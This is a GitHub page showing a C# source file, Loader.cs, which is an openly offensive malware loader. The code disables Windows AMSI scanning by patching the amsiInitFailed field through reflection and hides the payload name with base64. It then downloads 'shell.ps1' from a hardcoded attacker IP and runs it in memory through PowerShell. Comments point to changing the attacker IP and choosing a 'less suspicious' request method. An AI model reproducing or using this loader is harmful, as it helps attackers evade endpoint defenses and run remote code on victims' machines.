-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathLoader.cs
More file actions
78 lines (71 loc) · 2.59 KB
/
Copy pathLoader.cs
File metadata and controls
78 lines (71 loc) · 2.59 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
using System;
using System.Net;
using System.Text;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Reflection;
using System.Runtime.InteropServices;
namespace Loader
{
class Program
{
static void Main(string[] args)
{
try
{
// <<<<<<<<<<< CHANGE THIS IP BEFORE COMPILING >>>>>>>>>>>
string attackerIP = "192.168.1.94";
Console.WriteLine("[*] Patching AMSI using .NET reflection...");
PatchAMSI();
Console.WriteLine("[*] Downloading PowerShell payload...");
string shellPath = Obf("c2hlbGwucHMx"); // "shell.ps1"
string psUrl = $"http://{attackerIP}/{shellPath}";
string psScript = GetStringFromUrl(psUrl);
ExecutePowerShell(psScript);
}
catch (Exception ex)
{
Console.WriteLine("[-] Error: " + ex.Message);
}
}
// Executes a given PowerShell script string in memory using Runspace
static void ExecutePowerShell(string script)
{
using (PowerShell ps = PowerShell.Create())
{
ps.AddScript(script);
ps.Invoke();
}
}
// Patch AMSI using .NET Reflection (amsiInitFailed)
static void PatchAMSI()
{
string amsiType = "System.Management.Automation.AmsiUtils";
Type t = Type.GetType(amsiType);
if (t == null) return;
FieldInfo field = t.GetField("amsiInitFailed", BindingFlags.NonPublic | BindingFlags.Static);
if (field != null)
{
field.SetValue(null, true);
Console.WriteLine("[+] AMSI patched successfully.");
}
}
// Base64 decoder for obfuscating static strings
static string Obf(string base64)
{
byte[] data = Convert.FromBase64String(base64);
return Encoding.UTF8.GetString(data);
}
// Retrieves a string from a URL using HttpWebRequest (less suspicious than WebClient)
static string GetStringFromUrl(string url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.Method = "GET";
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
using (System.IO.StreamReader reader = new System.IO.StreamReader(response.GetResponseStream()))
{
return reader.ReadToEnd();
}
}
}
}